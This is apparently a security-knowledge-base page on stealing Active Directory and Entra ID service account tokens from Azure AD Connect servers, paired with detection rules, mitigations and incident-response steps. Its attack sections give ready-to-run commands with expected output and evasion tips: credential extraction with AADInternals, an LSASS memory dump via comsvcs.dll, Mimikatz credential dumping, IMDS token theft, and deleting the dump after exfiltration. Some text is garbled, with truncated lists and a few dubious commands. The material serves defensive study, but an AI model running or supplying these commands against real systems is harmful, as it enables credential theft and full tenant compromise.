| Attribute | Details |
|---|---|
| Technique ID | REALWORLD-026 |
| MITRE ATT&CK v18.1 | T1528 - Steal Application Access Token |
| Tactic | Credential Access |
| Platforms | Windows AD |
| Severity | Critical |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-10 |
| Affected Versions | Windows Server 2016-2025; Azure AD Connect 1.0+ |
| Patched In | Mitigations available; no full patch (design feature) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Service accounts in Active Directory and Entra ID (Azure AD) are high-value targets for token theft. When a service account’s refresh token (PRT - Primary Refresh Token) or access token is stolen, attackers can impersonate the service and perform actions with the same privilege level. Service Account Token Harvesting targets tokens stored in memory, cached on disk, or transmitted over unencrypted channels. AAD Connect service accounts are particularly valuable as they hold synchronization privileges between on-premises AD and Entra ID. Tokens can be extracted from process memory (LSASS), DPAPI-encrypted storage locations, or interception during token refresh.
Attack Surface: Memory (LSASS process), registry (credential manager), Azure Instance Metadata Service (IMDS), Entra ID cloud token endpoints, and AAD Connect synchronization service.
Business Impact: Full Tenant Compromise. A stolen service account token with Hybrid Identity Administrator or Global Admin roles allows attackers to modify Entra ID configuration, create backdoor accounts, grant themselves permissions, and maintain persistent access across on-premises and cloud environments. This can lead to ransomware deployment, data exfiltration, and complete organizational compromise.
Technical Context: Token harvesting takes minutes once access is gained to the service account process. Detection likelihood is medium if cloud token telemetry is monitored. Tokens can have a lifetime of 1 hour (access token) or months (refresh token), providing persistent backdoor access.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS Azure Foundations Benchmark 1.2.1 | Ensure Global Admins are limited to <3 users |
| DISA STIG | ECPG-1 | Privileged account management and monitoring |
| NIST 800-53 | AC-6 (Least Privilege) | Limit service account permissions to least privilege necessary |
| GDPR | Article 32 | Security of processing; encryption and access control |
| DORA | Article 9 | Incident reporting and security controls |
| NIS2 | Article 21 | Cyber Risk Management; credential management |
| ISO 27001 | A.9.4.4 (Access Management) | Service account management and monitoring |
| ISO 27005 | Risk Scenario: “Credential Theft from Service Accounts” | Compromise of service accounts enabling full environment access |
Objective: Locate high-privilege service accounts that hold sensitive tokens.
Command:
# Connect to Microsoft Graph
Connect-MgGraph -Scopes "ServicePrincipal.Read.All"
# Get service principals with high-privilege roles
Get-MgServicePrincipal -Filter "appOwnerOrganizationId ne null" | `
Where-Object {$_.ServicePrincipalType -eq "Application"} | `
Select-Object DisplayName, Id, AppId, ServicePrincipalType
What to Look For:
Sync_*, AADConnect*, or custom service account namesVersion Note: Command syntax is consistent across Server 2016-2025.
Objective: Identify the Azure AD Connect service account and its privilege level.
Command:
# Query Entra ID for the AAD Connect sync account
Get-MgDirectoryOnPremiseSynchronization | `
Select-Object Id, Name, SoftMatchEnabled, BlockCloudObjectTakeoverThroughHardMatchEnabled
# Get the AAD Connect service account's role assignments
Get-MgServicePrincipal -Filter "displayName eq 'Microsoft.Azure.SyncFabric'" | `
Get-MgServicePrincipalAppRoleAssignment
What to Look For:
Supported Versions: Server 2016-2025 (All AAD Connect versions)
Objective: Establish SYSTEM-level access on the AAD Connect server (usually this is the prerequisite).
Precondition: Must already have admin access to the AAD Connect server or have compromised it via initial access.
What This Enables: Access to DPAPI-encrypted credentials stored by AAD Connect.
Objective: Retrieve the DPAPI master key used to encrypt AAD Connect credentials.
Command (PowerShell, as Administrator):
# Import AADInternals module
Import-Module AADInternals
# Extract AAD Connect service credentials (requires local admin on AAD Connect server)
Get-AADIntSyncCredentials
Expected Output:
ADConnectorAccountName : DOMAIN\AAD_ConnectServiceAccount
ADConnectorAccountDomain : DOMAIN
ADConnectorAccountPassword : ***(encrypted DPAPI value)***
EntraIdConnectorAccountName : Sync_SRV-AADCONNECT_###@organization.onmicrosoft.com
EntraIdConnectorAccountType : User
EntraIdConnectorAccountAuth : Certificate
What This Means:
OpSec & Evasion:
[System.Reflection.Assembly]::Load([System.Convert]::FromBase64String('...'))Troubleshooting:
Install-Module AADInternals -Force (requires internet access)runas /user:SYSTEM cmd or execute via SYSTEM serviceObjective: Use the decrypted credentials to request a new refresh token from Entra ID.
Command (PowerShell):
# Use the extracted service account credentials to get a token
$ServiceAccountCredentials = New-Object System.Management.Automation.PSCredential(
"Sync_SRV-AADCONNECT_###@organization.onmicrosoft.com",
(ConvertTo-SecureString "PASSWORD" -AsPlainText -Force)
)
# Request a refresh token (valid for months)
Connect-MgGraph -TenantId "organization.onmicrosoft.com" -ClientSecretCredential $ServiceAccountCredentials -ErrorAction SilentlyContinue
# Get the current token
$Token = (Invoke-MgGraphRequest -Method GET -Uri "https://graph.microsoft.com/v1.0/me").AccessToken
Expected Output:
(Access token returned; valid for 1 hour)
(Refresh token stored in credential cache; valid for 90 days or longer)
What This Means:
Supported Versions: Server 2016-2025
Objective: Capture the LSASS process memory containing cached tokens and credentials.
Command (PowerShell, as Administrator):
# Use comsvcs.dll to dump LSASS without creating obvious crash dump
$ProcessId = (Get-Process lsass).Id
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump $ProcessId C:\Temp\lsass.dmp full
Expected Output:
(No output; file is created silently)
Command (Verify Dump):
Get-Item C:\Temp\lsass.dmp -ErrorAction SilentlyContinue | Measure-Object -Property Length
Expected Output:
Count : 1
Average : 600000000 (approximately 600 MB for LSASS dump)
What This Means:
C:\Temp\lsass.dmpOpSec & Evasion:
comsvcs.dll avoids creating obvious task manager crash dump dialogC:\Temp\lsass.dmp file after exfiltrationObjective: Analyze the LSASS dump to extract service account tokens.
Command (Run on analysis machine with Mimikatz):
# Load Mimikatz
mimikatz.exe
# In Mimikatz console:
sekurlsa::minidump C:\Path\to\lsass.dmp
sekurlsa::ekeys
sekurlsa::logonpasswords # This extracts all cached credentials
Expected Output:
Authentication Id : 0 ; 1234567 (123456)
Session : Interactive from 1
User Name : AAD_SyncServiceAccount
Domain : DOMAIN
Logon Server : DC-01
Logon Time : 1/10/2025 9:00:00 AM
SID : S-1-5-21-...
msv :
[00000003] Primary
LM : **empty**
NTLM : a1b2c3d4e5f6... (NTLM hash)
What This Means:
Supported Versions: Server 2016+ (if running on Azure VM)
Objective: Request an access token from Azure’s Instance Metadata Service using the managed identity assigned to the VM.
Command (PowerShell):
# Query IMDS endpoint for access token
$Token = Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-12-01&resource=https://graph.microsoft.com/" `
-Headers @{Metadata="true"} `
-Method GET
# Display token details
$Token | Select-Object access_token, token_type, expires_in
# Decode the JWT token to see the claims
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(($Token.access_token.Split('.')[1] + '==')))) | ConvertFrom-Json
Expected Output:
access_token : eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkhVU...
token_type : Bearer
expires_in : 3599
Decoded Claims:
{
"aud": "https://graph.microsoft.com",
"iss": "https://sts.windows.net/organization-id/",
"iat": 1736491234,
"nbf": 1736491234,
"exp": 1736494834,
"app_id": "abc123def456...",
"appidacr": "2",
"idp": "https://sts.windows.net/organization-id/",
"oid": "service-account-object-id",
"rh": "...",
"sub": "service-account-oid",
"tid": "organization-tenant-id",
"unique_name": "managed-identity@azure",
"uti": "..."
}
What This Means:
OpSec & Evasion:
Rule Configuration:
mainpowershellCommandLine, ParentImageSPL Query:
index=main sourcetype=powershell
(CommandLine="*AADInternals*" OR CommandLine="*Get-AADIntSyncCredentials*")
| stats count by host, User, CommandLine
| where count > 0
What This Detects:
Manual Configuration Steps:
count > 0Rule Configuration:
mainWinEventLog:SecurityEventID, CommandLineSPL Query:
index=main sourcetype="WinEventLog:Security" EventID=4688
(CommandLine="*comsvcs.dll*MiniDump*" OR CommandLine="*procdump*lsass*" OR CommandLine="*rundll32*")
| stats count by host, User, CommandLine
What This Detects:
Source: Microsoft Event ID 4688
Rule Configuration:
SigninLogsUserPrincipalName, Location, ClientAppUsedKQL Query:
SigninLogs
| where UserPrincipalName startswith "Sync_" or UserPrincipalName contains "AADConnect"
| where ConditionalAccessStatus != "notApplied"
| where Location != "Known Location" // Customize known locations
| project TimeGenerated, UserPrincipalName, IPAddress, Location, ClientAppUsed, ResultDescription
| summarize FailureCount=count() by UserPrincipalName, IPAddress
| where FailureCount > 5
What This Detects:
Manual Configuration Steps (Azure Portal):
AAD Connect Service Account Suspicious Sign-inCritical10 minutes1 hourSource: Microsoft Sentinel SigninLogs
Event ID: 4688 (Process Creation)
comsvcs.dll, procdump, or rundll32 targeting LSASSCommandLine contains "MiniDump" OR CommandLine contains "procdump"Event ID: 4648 (Logon with Explicit Credentials)
TargetUserName contains "Sync_" OR TargetUserName contains "AADConnect"Manual Configuration Steps (Group Policy):
gpupdate /forceMinimum Sysmon Version: 13.0+
Sysmon Config Snippet:
<!-- Detect LSASS dumping via comsvcs.dll or procdump -->
<RuleGroup name="Process Creation" groupRelation="or">
<ProcessCreate onmatch="include">
<CommandLine condition="contains">comsvcs.dll</CommandLine>
<CommandLine condition="contains">MiniDump</CommandLine>
</ProcessCreate>
<ProcessCreate onmatch="include">
<CommandLine condition="contains">procdump</CommandLine>
<CommandLine condition="contains">lsass</CommandLine>
</ProcessCreate>
</RuleGroup>
Manual Configuration Steps:
sysmon-config.xml with the XML abovesysmon64.exe -accepteula -i sysmon-config.xmlGet-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10Enforce Just-In-Time (JIT) Access for Service Accounts: Require approval and MFA for any service account access to sensitive systems.
Manual Steps (Azure PIM):
Rotate Service Account Credentials Regularly: Change service account passwords and certificates quarterly.
Manual Steps (AAD Connect):
Manual Steps (Entera ID):
Enable Conditional Access Policies for Service Accounts: Require specific sign-in conditions for service accounts.
Manual Steps (Conditional Access):
Service Account Access PolicyImplement Token Lifetime Policies: Reduce refresh token lifetime to minimize the window of exposure.
Manual Steps (PowerShell):
# Create a token lifetime policy
New-AzureADPolicy -Definition @('{"TokenLifetimePolicy":{"Version":1,"AccessTokenLifetime":"01:00:00","RefreshTokenLifetime":"90.00:00:00","MaxInactiveTime":"14.00:00:00"}}') `
-DisplayName "Strict Token Policy" `
-IsOrganizationDefault $true
Enable Azure AD Audit Logs: Monitor service account token usage and Entra ID configuration changes.
Manual Steps (Audit Log Retention):
Restrict Service Account Admin Privileges: Limit service account roles to least privilege.
Manual Steps (RBAC):
Manual Steps (Entera ID Roles):
# Remove unnecessary roles from service principal
$ServicePrincipal = Get-MgServicePrincipal -Filter "displayName eq 'Sync_*'"
$ServicePrincipal | Get-MgServicePrincipalAppRoleAssignment | Remove-MgServicePrincipalAppRoleAssignment
# Check service account roles
Get-MgServicePrincipal -Filter "displayName eq 'Sync_*'" | Get-MgServicePrincipalAppRoleAssignment
# Check Conditional Access policies targeting service accounts
Get-AzureADPolicy -Filter "isOrganizationDefault eq false" | Where-Object {$_.DisplayName -like "*Service*"}
# Verify token lifetime policy
Get-AzureADPolicy -Filter "type eq 'TokenLifetimePolicy'" | Select-Object -ExpandProperty Definition
Expected Output (If Secure):
AADInternals module import or useGet-AADIntSyncCredentials PowerShell cmdletcomsvcs.dll MiniDump process creationprocdump.exe lsass.exe executionlsass.dmp, lsass.mdmp, or similar dump files in C:\Temp\, C:\Windows\Temp\, or %USERPROFILE%\AppData\Local\Temp\C:\Windows\System32\winevt\Logs\Security.evtx (EventID 4688, 4648)C:\Temp\*.dmp$env:APPDATA\PowerShell\PSReadLine\ConsoleHost_history.txthttps://portal.azure.com → Entra ID → Sign-in logs# Disable AAD Connect sync account in Entra ID
Update-MgUser -UserId "sync_serverid@organization.onmicrosoft.com" -AccountEnabled:$false
# Revoke all refresh tokens for the service account
Revoke-AzureADUserAllRefreshToken -ObjectId (Get-MgUser -Filter "userPrincipalName eq 'sync_*'").Id
Manual:
# Export Entera ID sign-in logs for service account
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-30) -EndDate (Get-Date) `
-ResultSize 5000 -UserIds "sync_*" | Export-Csv -Path "C:\Evidence\AADConnect_SignInLog.csv"
# Export security event log
wevtutil epl Security C:\Evidence\Security.evtx
# Reset service account password
Set-MgUserPassword -UserId "sync_*@organization.onmicrosoft.com" -NewPassword (New-Guid).ToString()
# Rotate AAD Connect service account certificate
# (Requires restart of AAD Connect service)
Restart-Service -Name "ADSync" -Force
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-EXPLOIT-002] BDC Deserialization Vulnerability | Attacker exploits service vulnerability on AAD Connect server |
| 2 | Privilege Escalation | [PE-EXPLOIT-001] PrintNightmare | Attacker escalates to SYSTEM on AAD Connect server |
| 3 | Credential Access - Current Step | [REALWORLD-026] Service Account Token Harvesting | Attacker extracts AAD Connect service account token from memory |
| 4 | Lateral Movement | [LM-AUTH-019] AAD Connect Server to AD Movement | Attacker uses service account to move back to on-premises AD |
| 5 | Persistence | [REALWORLD-032] Golden SAML Token Creation | Attacker creates persistent tokens for long-term access |
| 6 | Impact | [REALWORLD-041] Tenant-Wide Admin Compromise | Attacker modifies Entra ID to create backdoor global admins |